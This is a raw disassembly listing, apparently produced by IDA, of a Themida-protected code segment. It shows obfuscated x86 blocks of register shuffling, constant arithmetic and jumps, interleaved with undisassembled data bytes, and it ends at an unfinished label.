loc_5518E1:				; CODE XREF: Themida_:00550DC1j
		mov	[esp], ebx
		jmp	loc_54D8D5
; ---------------------------------------------------------------------------
		db 20h,	0FDh, 5Bh
		dd 0F580D5F6h, 59EB0073h, 0FFC0B60Fh, 0EC838734h, 24348904h
		dd 0FFC03CE9h, 4900E9FFh, 0CB01FFFFh, 0E9240C8Bh, 0FFFF647Eh
; ---------------------------------------------------------------------------


loc_551914:				; CODE XREF: Themida_:0055222Dj
		add	ebx, 0FAAA26B0h
		mov	ecx, ebx
		pop	ebx
		and	edi, ecx
		jmp	loc_5479E1
; ---------------------------------------------------------------------------
		dd 0FF48E1E9h, 732DBBFFh, 2DE9273Eh, 89FFFF5Bh,	0E2892414h
		dd 0FF939FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55193D:				; CODE XREF: Themida_:0054C77Aj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	6159h
		mov	[esp], esi
		mov	esi, 48B46AE1h
		push	ebp
		mov	ebp, 652104C3h
		xor	ebp, 46DE4ABAh
		neg	ebp
		xor	ebp, 4FBA2AB1h
		not	ebp
		inc	ebp
		add	ebp, 0D3009F88h
		and	esi, ebp
		pop	ebp
		xor	esi, 52EB7072h
		inc	esi
		push	edx
		mov	edx, 3AA60CA6h
		jmp	loc_54A43C
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 0Ch
		dd 5E33E924h, 0EC83FFFFh, 240C8904h, 2C605868h,	1905591Bh
		dd 10F1664h, 48B668C8h,	3C890000h, 5D03BF24h, 0EFC171E7h
		dd 0F7CF8708h, 4EC81D1h, 89000000h, 5F51243Ch, 0EF13E959h
		dd 0F029FFFFh, 2404875Eh, 80EE95Ch, 34FF0000h, 0A6ADE924h
		dd 0BE66FFFFh, 14E94BB7h, 89FFFF75h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 2434895Ch, 16417CBEh, 81D6F760h, 7700C5CEh
		dd 7E6C16Eh, 8E6C146h, 7F02BB53h, 18E9209Ch
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551A17:				; CODE XREF: Themida_:0054A329j
		mov	esi, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	690h
		mov	[esp], edx
		push	edi
		jmp	loc_550DEC
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 0E9042474h, 0FFFF55BBh
; ---------------------------------------------------------------------------


loc_551A58:				; CODE XREF: Themida_:00551D85j
		mov	ebp, 31290B1Eh
		add	ebp, 1D79FCD9h
		jmp	loc_549893
; ---------------------------------------------------------------------------


loc_551A68:				; CODE XREF: Themida_:0054F20Bj
		add	esp, 4
		jmp	loc_54E981
; ---------------------------------------------------------------------------
		db 0FFh
		dd 148B2434h, 4C48324h,	780C68h, 24048900h, 0BE56E089h
		dd 4, 835EF001h, 48704C0h, 24248B24h, 8904EC83h, 0E6892434h
		dd 4C681h, 0C6810000h, 4, 0FF4DE0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551AB1:				; CODE XREF: Themida_:00546744j
		not	edx
		shl	edx, 1
		jmp	loc_54BC9A
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0FFDFFE03h, 31F0BE56h, 74013680h, 815E0824h,	0A9042444h
		dd 1441B4Fh, 8104244Ch,	0A904246Ch, 81441B4Fh, 0F004246Ch
		dd 59368031h, 5E2434FFh, 5004C483h, 81E68956h, 4C6h, 4EE8100h
		dd 87000000h, 0F7E92434h, 51FFFFE3h, 68143EB9h,	0F8E9813Eh
		dd 0E93CB9B8h, 0FFFF54DEh, 4EC81ADh, 89000000h,	0BF57241Ch
		dd 7F9A6ADFh, 0D1E9FB89h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551B2F:				; CODE XREF: Themida_:0054D731j
		pop	esi
		jmp	loc_552288
; ---------------------------------------------------------------------------
		db 0B7h, 0DAh, 0F6h
		dd 5AEF80DFh, 6804EFC0h, 124Bh,	68240489h, 751Fh, 0B7241C89h
		dd 5BF888C2h, 0FF9D4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551B59:				; CODE XREF: Themida_:00552143j
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		jmp	loc_54E3FC
; ---------------------------------------------------------------------------


loc_551B64:				; CODE XREF: Themida_:0054E95Fj
		mov	[esp], dx
		jmp	loc_54B6AB
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C681E689h, 4, 25068h, 241C8900h, 4BBh, 5BDE0100h, 0FFB2F8E9h
		dd 24248BFFh, 0DC168h, 85CFE900h, 0E95BFFFFh, 0FFFF81ADh
		dd 5A2414F6h, 0FE07C280h, 9DC4E9CAh, 0C481FFFFh, 4, 4BA52h
		dd 0BE560000h, 1CAE153Ch, 15EF301h, 3CEB81D3h, 5A1CAE15h
		dd 0B405E957h, 4B8FFFFh, 1000000h, 0BBB4E9C7h, 2CACFFFFh
		dd 0E951665Eh, 5EBh
; ---------------------------------------------------------------------------


loc_551BE8:				; CODE XREF: Themida_:0054D454j
		mov	eax, 1Ch
		add	eax, edi
		push	1013h
		mov	[esp], ebx
		jmp	loc_550F20
; ---------------------------------------------------------------------------
		dd 4C281h, 0DEE90000h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551C07:				; CODE XREF: Themida_:0054CE37j
		not	dword ptr [esp]
		pop	edx
		not	edx
		add	edx, 0E1D2B5D0h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		jmp	loc_548794
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 0E9242C8Bh, 621h, 0FF2434FFh, 0C8B2434h, 4C48124h, 0E9000000h
		dd 0FFFF93C9h, 0C1881EB0h, 4FB758h, 0A7E959CFh,	54FFFFAAh
		dd 0EFD6E959h, 0ABE9FFFFh, 54FFFF45h, 9FD9E95Dh, 0E953FFFFh
		dd 0FFFFDBA6h, 71320566h, 8324348Bh, 815704C4h,	4ECh, 240C8900h
		dd 2A336866h, 41665966h, 1C18166h, 0C1816600h, 686639CEh
		dd 89661C8Fh, 0BB66241Ch, 29663390h, 0A90AE9D9h, 0EBC1FFFFh
		dd 36EB8102h, 812BFD3Fh, 2E3BA6C3h, 52D30121h, 0FFF356E9h
		dd 3FCA81FFh, 8146D96Bh, 5E7AFAC2h, 5AD1011Ch, 36E981h
		dd 0C181258Fh, 69EC65A2h, 0E902E9C1h, 0FFFF5629h, 2404895Ch
		dd 5352E089h, 342D19BBh, 1C38306h, 0FFCF6EE9h, 3CF12DFFh
		dd 0D1052C83h, 5774B70h, 669C6425h, 61C3E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551D0A:				; CODE XREF: Themida_:0054FEA1j
		pop	esp
		mov	[esp], edx
		push	4D972301h
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2EAB7579h
		neg	eax
		and	eax, 29245956h
		shr	eax, 7
		sub	eax, 108465E6h
		jmp	loc_54BA8D
; ---------------------------------------------------------------------------
		dw 489h
		dd 55E08924h, 4045B850h, 0E8C16CB2h, 31484807h,	31C331D8h
		dd 93D3F7D8h, 5608E0C1h, 6E91BB53h, 0E3D14E79h,	0A9F3EB81h
		dd 0DE898F6Eh, 67BD555Bh, 927EA16h, 4E95DEEh, 5EFFFF8Eh
		dd 0FFCDDEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551D79:				; CODE XREF: Themida_:0054ED03j
		mov	ebx, 7F8C622Bh
		or	ebx, 79002DB1h
		push	ebp
		jmp	loc_551A58
; ---------------------------------------------------------------------------
		dw 28BDh
		dd 813D370Ch, 3E11A7EAh, 57EA297Eh, 0A122FCBFh,	0B2BA5279h
		dd 51652178h, 92FBA52h,	0D1893F0Dh, 47C1815Ah, 212F7848h
		dd 0C28159CAh, 0D874155Ah, 0B6E9D731h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551DC3:				; CODE XREF: Themida_:00550F15j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	13D1h
		mov	[esp], ebx
		jmp	loc_54C3C1
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 63D4BF57h, 0F7814B7Ah, 4B7A63D0h, 0FFAB85E9h, 5FE954FFh
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551DEF:				; CODE XREF: Themida_:00549D2Ej
		add	edi, 7B0B2193h
		dec	edi
		push	eax
		mov	eax, 34EF690Fh
		jmp	loc_54E7FF
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0A3h
		dd 0E99C2404h, 0FFFF43FEh, 66A6CD81h, 0C5E90E2Bh, 0FFFFFFA0h
		dd 5B042474h, 8B24048Fh, 0F662424h, 9C2404BBh, 0FF43DDE9h
		dd 81EDD1FFh, 0E919BBCDh, 31DD311Fh, 0F7DD31EBh, 81DD87D3h
		dd 0DD4629C5h, 98E8E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551E4A:				; CODE XREF: Themida_:00546BDDj
		pop	edx
		xor	ecx, edi
		pop	edi
		jmp	loc_551333
; ---------------------------------------------------------------------------


loc_551E53:				; CODE XREF: Themida_:0054A68Bj
		push	ecx
		mov	ecx, 0A125580h
		add	[esp+4], ecx
		pop	ecx
		sub	[esp], eax
		jmp	loc_54C2B9
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 2D8D2478h, 0C381CB01h, 2D8D2478h, 81240C8Bh,	4C4h, 0E930FF00h
		dd 0FFFF4386h, 0A6E9CB31h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551E8B:				; CODE XREF: Themida_:00546823j
		push	ebx
		pop	ebp
		pop	ebx
		jmp	loc_548D0A
; ---------------------------------------------------------------------------
		db 0F7h
		dd 5CBD55D7h, 3167CA18h, 59F5E9EFh, 0C89FFFFh, 31BE5624h
		dd 0E96D0ED4h, 0FFFFAADAh, 0CBE9D801h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551EB7:				; CODE XREF: Themida_:00552766j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54FB3F
; ---------------------------------------------------------------------------
		dd 5056E189h, 0FF9386E9h, 4338E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551ED2:				; CODE XREF: Themida_:0054694Bj
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54DBCF
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 55h
		dd 68676FBDh, 1ED8308h,	9D4ED81h, 57564458h, 7833BD55h
		dd 0DDF73EFEh, 1884C581h, 0F5816C90h, 747645h, 0ED6FF581h
		dd 0EF894BFAh, 7DBA525Dh, 12A5051h, 24148BD7h, 6D4E9h
		dd 14F75300h, 43435B24h, 4872CB81h, 0C3811315h,	2002208Eh
		dd 63E2EF81h, 0E9560E26h, 0FFFF7BFFh, 83241C8Bh, 55B04C4h
		dd 2, 31240433h, 5CE92404h, 0F6FFFFA2h,	5B012454h, 32243C30h
		dd 3C30243Ch, 429CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551F6E:				; CODE XREF: Themida_:0054C908j
		push	small word ptr [eax]
		jmp	loc_54620A
; ---------------------------------------------------------------------------
		dw 0DE31h
		dd 0F0A1E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551F7E:				; CODE XREF: Themida_:0054D971j
		push	1978h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	1E16h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_5481BC
; ---------------------------------------------------------------------------


loc_551FAC:				; CODE XREF: Themida_:00546FF1j
		mov	ecx, [esp]
		jmp	loc_54C114
; ---------------------------------------------------------------------------


loc_551FB4:				; CODE XREF: Themida_:00548D67j
		pop	edx
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_55230F
; ---------------------------------------------------------------------------
		db 5
		dd 4, 932E9h
		db 0
; ---------------------------------------------------------------------------


loc_551FC9:				; CODE XREF: Themida_:0054E017j
		sub	ebp, edx
		jmp	loc_54C75A
; ---------------------------------------------------------------------------
		dd 0D1F7D1F7h, 82C18141h, 1C02BBEh, 0BA76E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551FE2:				; CODE XREF: Themida_:0054AB51j
		sub	dl, cl
		pop	cx
		sub	bl, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], eax
		push	100465DEh
		pop	eax
		add	dword ptr [esp+4], 643B01CFh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 643B01CFh
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54DC5B
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0C384099h, 0B20EE81h, 0F189237Bh, 0FFF870E9h, 24248BFFh
		dd 0FF8DB1E9h, 0B704ACFFh, 0C034B252h, 55E907E2h, 29FFFF83h
		dd 5AD189CAh, 0C181D1F7h, 9F22808Fh, 0FFFE1FE9h, 48B66FFh
		dd 41606824h, 3C890000h, 0FE6FE924h, 0C781FFFFh, 4, 2474FF57h
		dd 0BEEEE904h, 2C89FFFFh, 241C8724h, 1C87D3F7h,	242C8B24h
		dd 0C104C483h, 0D5F704EDh, 132DBF57h, 0E7C14125h, 0EFE78104h
		dd 4F431437h, 0FFBB09E9h, 0E18951FFh, 4C181h, 0C1810000h
		dd 4, 0FFAC67E9h, 0D831ADFFh, 0FF41C1E9h, 773768FFh, 685D3656h
		dd 253Ah, 0FFFFA9E9h, 8B6664FFh, 0EEA5E902h, 5E68FFFFh
		dd 8900005Bh, 0E954243Ch, 0FFFF9D40h, 0C0E9DA29h, 81FFFFD7h
		dd 4C5h, 4BB5300h, 1000000h, 68E95BDDh
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55210F:				; CODE XREF: Themida_:0054DCD5j
		xor	edx, edi
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_550FE2
; ---------------------------------------------------------------------------
		dd 24148B5Bh, 81E18951h, 4C1h, 9ED9E900h, 248BFFFFh, 24042824h
		dd 40D0E99Ch, 0F800FFFFh, 0FFCB51E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552141:				; CODE XREF: Themida_:0054DF05j
		xchg	edx, ebp
		jmp	loc_551B59
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 4C681h, 34870000h, 3885C24h, 8B2434FFh
		dd 0C483241Ch, 4C48304h, 0FFA887E9h, 68D301FFh,	40E2h
		dd 0E9243C89h, 0FFFF9161h
; ---------------------------------------------------------------------------


loc_55217C:				; CODE XREF: Themida_:0054F531j
		or	eax, 785F5298h
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		xchg	ecx, esi
		push	766Bh
		mov	[esp], ecx
		jmp	loc_548037
; ---------------------------------------------------------------------------


loc_552196:				; CODE XREF: Themida_:0054AEE6j
		pop	ebx
		jmp	loc_54A354
; ---------------------------------------------------------------------------
		dd 0CA0032B1h, 8BD30059h, 83572414h, 248904ECh,	24048324h
		dd 0C7815F04h, 4, 8704C783h, 248B243Ch,	5F89E924h, 0D3F7FFFFh
		dd 449C381h, 18E903E3h,	0B5FFFF52h, 66E8004Ah, 0E9D80059h
		dd 5F3h, 0E9243489h, 0FFFFA3D2h
; ---------------------------------------------------------------------------


loc_5521E8:				; CODE XREF: Themida_:0054D3F8j
		push	5762h
		mov	[esp], ecx
		not	byte ptr [esp]
		pop	ecx
		add	cl, 0F0h
		sub	cl, 5Dh
		push	edx
		mov	dh, 0E0h
		or	dh, 2Ch
		inc	dh
		or	dh, 0EDh
		sub	dh, 16h
		and	cl, dh
		pop	edx
		add	cl, 1
		xor	cl, 28h
		sub	bh, cl
		mov	ecx, [esp]
		add	esp, 4
		xor	bh, 80h
		sub	bh, 0ECh
		inc	bh
		push	eax
		mov	al, 36h
		jmp	loc_54F8C1
; ---------------------------------------------------------------------------


loc_55222C:				; CODE XREF: Themida_:00547BD8j
		pop	ebx
		jmp	loc_551914
; ---------------------------------------------------------------------------
		dw 0C981h
		dd 349E6CA3h, 0E905E1C1h, 0FFFFC2DDh, 56241C8Bh, 0FFB5BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552249:				; CODE XREF: Themida_:0054D6E0j
		push	ecx
		mov	ch, 98h
		jmp	loc_546D6D
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 26h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_552257:				; CODE XREF: Themida_:0054D7BDj
		mov	ecx, [ebx]
		pop	ebx
		jmp	loc_54A8B0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 4EC81h, 3E90000h, 59FFFFB7h, 551268h
		dd 24348900h, 42474FFh,	0E924348Bh, 0FFFFEFDBh
; ---------------------------------------------------------------------------


loc_552288:				; CODE XREF: Themida_:00551B30j
		pop	ebp
		and	eax, edi
		jmp	loc_546B50
; ---------------------------------------------------------------------------
		dd 2BB53h, 0D9010000h, 74FF515Bh, 8F590424h, 665C2404h
		dd 6866F1F7h, 896602D0h, 50662414h, 3F54E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5522B6:				; CODE XREF: Themida_:0054DFBDj
		inc	esi
		sub	esi, 0EE36ED63h
		push	4C0Bh
		mov	[esp], esi
		mov	edx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		xor	eax, edx
		pop	edx
		push	ebx
		push	ebp
		push	0E47270Ah
		pop	ebp
		push	ebp
		mov	ebx, [esp]
		add	esp, 4
		pop	ebp
		push	esi
		mov	esi, 22C2A11h
		or	esi, 120916A7h
		sub	esi, 367328C9h
		shl	esi, 3
		xor	esi, 0C253DCB7h
		add	esi, 3714B891h
		xor	ebx, esi
		jmp	loc_55087A
; ---------------------------------------------------------------------------


loc_55230F:				; CODE XREF: Themida_:00551FBAj
		mov	ebx, [esp]
		jmp	loc_54DCDA
; ---------------------------------------------------------------------------
		db 54h
		dd 0FF5CA1E9h, 0E95E54FFh, 0FFFF6887h, 70FEF381h, 0F381463Ch
		dd 1E8E7A5Ah, 464E4E05h, 958DE978h, 0BF57FFFFh,	71246475h
		dd 0DB9B8FBDh, 5FFD018Eh, 0FF9478E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55234D:				; CODE XREF: Themida_:0054FD0Ej
		pop	esi
		mov	edx, ecx
		pop	ecx
		and	ecx, edx
		mov	edx, [esp]
		jmp	loc_546D0E
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E18008E9h, 0C0C1FE42h, 3EE903E1h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55236B:				; CODE XREF: Themida_:0054C902j
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	3F6057ACh
		jmp	loc_54EBA0
; ---------------------------------------------------------------------------
		dw 7804h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54704D
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 3E7C102h, 51C2EF81h,	0DFF75F30h, 2ECDEF81h, 0F989339Fh
		dd 0C5EEE95Fh, 7721FFFFh, 2434FF1Ch, 0FFC115E9h, 48F5FFFh
		dd 0F4E95C24h, 8BFFFFD4h, 2AE9241Ch, 5000001h, 4, 663B68h
		dd 24348900h, 4BEh, 5EF00100h, 8B240487h, 23E92424h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5523E7:				; CODE XREF: Themida_:0054C869j
		add	ebx, ecx
		pop	ecx
		jmp	loc_54ED62
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF3E16h, 0E200BDB4h, 0E9585866h, 245h, 0C9EE815Eh
		dd 1003B34h, 0E321E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55240E:				; CODE XREF: Themida_:0054B099j
		push	ebx
		mov	ebx, 66C364ABh
		sub	ebx, 3D554314h
		neg	ebx
		jmp	loc_5466F9
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0DAh
		dd 81606D7Eh, 70F54EDh,	2C875826h, 83535C24h, 0EBE904ECh
		dd 29FFFFEFh, 9EF81DFh,	5B12DF7Eh, 1C07BD55h, 0E8017288h
		dd 81242C8Bh, 4C4h, 29712D00h, 0F8014BF1h, 0F1297105h
		dd 0A15BE94Bh, 0D0F7FFFFh, 3505E8C1h, 17E643D3h, 0FF71CBE9h
		dd 4C481FFh, 5E000000h,	34FFD021h, 24148B24h, 0FF60B4E9h
		dd 240483FFh, 8E0BE904h, 3568FFFFh, 89000061h, 4812424h
		dd 424h, 2434FF00h, 0FFD1ECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5524A9:				; CODE XREF: Themida_:005468B1j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54620A
; ---------------------------------------------------------------------------
		dd 5E545658h, 4B850h, 0C6010000h, 8324048Bh, 0A4E904C4h
		dd 0F7FFFF71h, 0A1F781DFh, 218F86DBh, 3F7AE9F9h, 0C681FFFFh
		dd 21B159BEh, 0BA52CE01h, 410D6764h, 0FFEA29E9h, 0E68956FFh
		dd 4C681h, 0C6830000h, 74FF5604h, 0E95E0424h, 0FFFF5A22h
		dd 57D831ADh, 8C2321BFh, 47DFF714h, 0FF82A8E9h,	0B4E95BFFh
		dd 64FFFF5Fh, 0E2E932FFh, 89FFFF91h, 0EF682434h, 0E900007Bh
		dd 0FFFF7F4Ch, 592434FFh, 3BD68h, 243C8900h, 0FFE33BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552545:				; CODE XREF: Themida_:0054DAD9j
		mov	eax, 68F508B8h
		push	484Fh
		jmp	loc_54F526
; ---------------------------------------------------------------------------
		dd 7463E681h, 0EE815152h, 3DC9537Ch, 435EF389h,	0FF3F32E9h
		dd 30160DFFh, 0A90D3F07h, 52CC87Ch, 0AE2DC1Dh, 0FF4173E9h
		dd 0E9E089FFh, 0FFFF60E5h
; ---------------------------------------------------------------------------


loc_552584:				; CODE XREF: Themida_:0054ECBBj
		mov	ebp, ebx
		pop	ebx
		jmp	loc_54BBB3
; ---------------------------------------------------------------------------


loc_55258C:				; CODE XREF: Themida_:0054AEFDj
		mov	ebx, [esp]
		jmp	loc_54C1C6
; ---------------------------------------------------------------------------
		dd 47E9F729h, 88FFFF6Ah, 885B66FCh, 0FE5866E6h,	52F680C6h
		dd 685AF000h, 6576h, 0B0240489h, 52710CBDh, 0B450B3B2h
		dd 5DEC802Dh, 8004ECC0h, 0E22821ECh, 5AD00058h,	53512304h
		dd 0DD88FEB3h, 0FF68B1E9h, 22C468FFh, 44E90000h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5525E3:				; CODE XREF: Themida_:00548E99j
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_54A175
		push	dword ptr [edi+1Ch]
		jmp	loc_550E00
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF3FE2h
; ---------------------------------------------------------------------------


loc_552604:				; CODE XREF: Themida_:005509ADj
		push	dword ptr [esp+4]
		jmp	loc_54E988
; ---------------------------------------------------------------------------


loc_55260D:				; CODE XREF: Themida_:0054B119j
		xor	ebp, 2529A3FCh
		xor	esi, ebp
		pop	ebp
		jmp	loc_54770B
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFC8C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552621:				; CODE XREF: Themida_:0054A35Ej
		mov	esi, 3A15661Fh
		sub	[esp+4], esi
		jmp	loc_54F89B
; ---------------------------------------------------------------------------
		db 49h
		dd 0FFCAC7E9h, 2474FFFFh, 48F5804h, 24248B24h, 0FF4F9BE9h
		dd 30CA30FFh, 0E9CA30D1h, 0FFFFE380h
; ---------------------------------------------------------------------------


loc_552650:				; CODE XREF: Themida_:0054DFF8j
		mov	ah, bl
		jmp	loc_5465DC
; ---------------------------------------------------------------------------


loc_552657:				; CODE XREF: Themida_:0054F5EDj
		push	eax
		jmp	loc_546423
; ---------------------------------------------------------------------------
		db 31h,	0CAh, 59h
		dd 0DBB5352h, 292C490Eh, 8B04245Ch, 0C483241Ch,	20478F04h
		dd 0FF4D30E9h, 0F7E987FFh, 0E9E987DDh, 0FFFF7226h, 0BD55E289h
		dd 4, 815DEA01h, 4EAh, 24148700h, 2434895Ch, 4EC81h, 0F9E90000h
		dd 66FFFFBDh, 66C140BFh, 5F66FA31h, 0FF6208E9h,	0E9028FFFh
		dd 0FFFF3B4Eh
; ---------------------------------------------------------------------------


loc_5526BC:				; CODE XREF: Themida_:005505CFj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_54629F
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0F7243C87h, 243C87D7h, 43E4E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5526DE:				; CODE XREF: Themida_:0054C03Fj
		and	ecx, 38B13AA1h
		xor	ecx, 7CFE536Fh
		add	ecx, 538E23B3h
		xor	ecx, 0A08D7D26h
		jmp	loc_551488
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835A2434h, 0B95104C4h, 4, 5359CA01h,	6A1BF57h, 61BB2F36h
		dd 1D0C9F9h, 0DA295FFBh, 2414335Bh, 33241431h, 47E92414h
		dd 5BFFFFBCh, 4BA52h, 15E90000h, 68FFFF50h, 1, 0FFF291E9h
		dd 242C87FFh
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_54A15D
; ---------------------------------------------------------------------------


loc_552759:				; CODE XREF: Themida_:00549BC7j
		add	esp, 4
		add	al, dl
		mov	dx, [esp]
		push	ecx
		jmp	loc_551EB7
; ---------------------------------------------------------------------------


loc_55276B:				; CODE XREF: Themida_:0054A443j
		mov	ebx, 5F43589Ch
		or	edx, ebx
		pop	ebx
		xor	edx, 15A71403h
		inc	edx
		xor	edx, 457941A8h
		sub	edx, 0F9653F22h
		add	esi, edx
		pop	edx
		dec	esi
		push	esi
		jmp	loc_546597
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0A2C04C4h, 0A04C828h, 2C59202Ch, 91E6E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5527A6:				; CODE XREF: Themida_:0054E111j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54D013
; ---------------------------------------------------------------------------
		db 87h
		dd 535C241Ch, 0E7803CB7h, 1C780FDh, 0B450DFF6h,	0B753528Ah
		dd 30BFB6B8h, 0C7E95BFEh, 51FFFF96h, 5266E0B5h,	0F530A8B6h
		dd 0F5805A66h, 2EC83B0h, 241C8966h, 0FD30B2B7h,	1DE95B66h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5527F3:				; CODE XREF: Themida_:00547260j
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_54D450
; ---------------------------------------------------------------------------
		dw 0FF56h
		dd 5E042474h, 0FFEE8EE9h, 814A5EFFh, 225F9FE2h,	44E95070h
		dd 5AFFFFD3h, 0FE5BF930h, 2DE180C9h, 0B871E953h, 0E681FFFFh
		dd 67154871h, 1F63E681h, 0E6C13444h, 94DFE903h,	21BAFFFFh
		dd 296A4430h, 0EB815AD3h, 192C2807h, 41E9C329h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552853:				; CODE XREF: Themida_:00546B5Ej
		push	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54ED8B
; ---------------------------------------------------------------------------


loc_55285F:				; CODE XREF: Themida_:00547162j
		mov	esi, 0BCDFCFB7h
		sub	ebp, 3B82053h
		add	ebp, esi
		add	ebp, 3B82053h
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_550C9B
		push	dword ptr [edi+1Ch]
		push	edi
		mov	edi, 17A9071Fh
		not	edi
		shr	edi, 3
		push	ebx
		mov	ebx, 5A607B03h
		inc	ebx
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 281026A9h
		xor	edi, ebx
		pop	ebx
		jmp	loc_54CCDF
; ---------------------------------------------------------------------------
		dd 24248B66h, 0FF3955E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5528B5:				; CODE XREF: Themida_:0054B62Fj
		mov	ah, 91h
		add	bl, ah
		jmp	loc_547F4D
; ---------------------------------------------------------------------------
		dw 585Ch
		dd 0E924148Bh, 0FFFFB1DAh, 941E84BAh, 0E9D62977h, 0FFFF518Eh
; ---------------------------------------------------------------------------


loc_5528D4:				; CODE XREF: Themida_:00548CFDj
		mov	edx, 800000h
		jmp	loc_546984
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0AE7413EAh, 67D1E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5528EA:				; CODE XREF: Themida_:00550A61j
